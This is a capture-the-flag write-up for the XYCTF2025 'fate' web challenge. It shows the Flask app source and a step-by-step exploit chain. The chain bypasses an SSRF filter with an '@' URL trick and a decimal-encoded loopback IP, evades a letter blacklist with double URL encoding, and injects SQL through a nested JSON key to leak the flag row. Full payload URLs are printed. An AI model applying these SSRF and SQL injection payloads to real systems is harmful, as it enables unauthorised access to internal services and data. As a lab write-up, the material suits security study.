XYCTF2025 fate writeup

177 Views
No Comments

A total of 5229 characters, expected to take 14 minutes to complete reading.

Title

Title: There are not many opportunities to change one's fate in one's life.

Here is the source code:

  1. app.py
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

    return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')
    if not url:
        return flask.abort(400, 'No URL provided')

    target_url = "http://lamentxu.top" + url
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)
def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    print(flask.request.remote_addr)
    return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')
        if code == 'abcdefghi':
            req = flask.request.args.get('1')
            try:
                req = binary_to_string(req)
                print(req)
                req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
            except:
                flask.abort(400, "Invalid JSON")
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")

            name = req['name']
            if len(name) > 6:
                flask.abort(400, "Too long")
            if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO)")
            """
            Some waf hidden here ;)
            """

            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")

            return {'Fate': fate}
        else:
            flask.abort(400, "Hello local, and hello hacker")
    else:
        flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
    app.run(debug=True)
  1. init_db.py
import sqlite3

conn = sqlite3.connect("D:/CTF/temp/fate/database.db")
conn.execute("""CREATE TABLE FATETABLE (
  NAME TEXT NOT NULL,
  FATE TEXT NOT NULL
);""")
Fate = [('JOHN', '1994-2030 Dead in a car accident'),
    ('JANE', '1990-2025 Lost in a fire'),
    ('SARAH', '1982-2017 Fired by a government official'),
    ('DANIEL', '1978-2013 Murdered by a police officer'),
    ('LUKE', '1974-2010 Assassinated by a military officer'),
    ('KAREN', '1970-2006 Fallen from a cliff'),
    ('BRIAN', '1966-2002 Drowned in a river'),
    ('ANNA', '1962-1998 Killed by a bomb'),
    ('JACOB', '1954-1990 Lost in a plane crash'),
    ('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)

conn.commit()
conn.close()

The rest of the documents have no effect on the problem, so they will not be released here.

Ideas

Our aim is to obtain this line of data in the data, which contains flag:

('LAMENTXU', r'2024 Send you a flag flag{FAKE}')

To obtain the data, you must pass /1337 This page can only be accessed from the intranet. Just Route /proxy The code for proxy access is provided, but the keyword is blocked here. . and all upper and lower case letters. Therefore we cannot use 127.0.0.1 or localhost to access intranet pages.

and visit /proxy?url=/test will turn to access http://lamentxu.top/testYou cannot access the network. can be used http://lamentxu.top@127.0.0.1/1337 to come around,@ The user name and password are indicated earlier, so we actually visited http://127.0.0.1/1337.

But... 127.0.0.1 Definitely not. Think IPV4 The address not only supports Dotted Decimal notation, also supports Decimal indicates that, I .e.127.0.0.1 The binary of is 0111 1111 0000 0000 0000 0000 0000 0001, converted to decimal. 2130706433:

XYCTF2025 fate writeup

So construct:

# 网页端口是 8080 可以参考比赛网页的端口
/proxy?url=@127.0.0.1:8080/1337
# 绕过改成以下
/proxy?url=@2130706433:8080/1337

XYCTF2025 fate writeup

Then visit /1337 The web page requires parameters 0 and 1, where 0 is required to be abcdefghi, but the proxy web page prohibits all upper and lower case characters. can be bypassed with URL encoding, I .e. 0=%61%62%63%64%65%66%67%68%69, get:

/proxy?url=@2130706433:8080/1337?0=%61%62%63%64%65%66%67%68%69
# 浏览器会自动转换编码,因此要两轮 URL 编码
/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569

XYCTF2025 fate writeup

Then construct parameter 1. json That's it. To bypass the bin-to-string function:

json_str = '{"name": "JOHN"}'
binary_str = ''.join(format(ord(c), '08b') for c in json_str)
print(binary_str)

Get:

/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=01111011001000100110111001100001011011010110010100100010001110100010000000100010010010100100111101001000010011100010001001111101

XYCTF2025 fate writeup

It is definitely not possible to enter the name directly here, and the length will exceed, but the topic is prompted by json deserialization vulnerability. We construct JSON format as follows:

{"name": {"))))))) or 1=1 limit 1 offset 9-- +":"test"}}

By the way, SQL injection is also used here, bypassing the restriction and obtaining line 9. Use ))))))) to close the front upper function, and with or 1=1 Get all the names, then limit 1 offset 9 Limit one and return to article 9 what we want flag.

json_str = '{"name": {"))))))) or 1=1 limit 1 offset 9-- +":"test"}}'
binary_str = ''.join(format(ord(c), '08b') for c in json_str)
print(binary_str)

get the final payload:

/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=0111101100100010011011100110000101101101011001010010001000111010001000000111101100100010001010010010100100101001001010010010100100101001001010010010000001101111011100100010000000110001001111010011000100100000011011000110100101101101011010010111010000100000001100010010000001101111011001100110011001110011011001010111010000100000001110010010110100101101001000000010101100100010001110100010001001110100011001010111001101110100001000100111110101111101

XYCTF2025 fate writeup

Payload

http://eci-2ze416x3w8z8l5bqv7tn.cloudeci1.ichunqiu.com:8080/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=0111101100100010011011100110000101101101011001010010001000111010001000000111101100100010001010010010100100101001001010010010100100101001001010010010000001101111011100100010000000110001001111010011000100100000011011000110100101101101011010010111010000100000001100010010000001101111011001100110011001110011011001010111010000100000001110010010110100101101001000000010101100100010001110100010001001110100011001010111001101110100001000100111110101111101

XYCTF2025 fate writeup

END
 0
Comment(No Comments)
验证码
en_USEnglish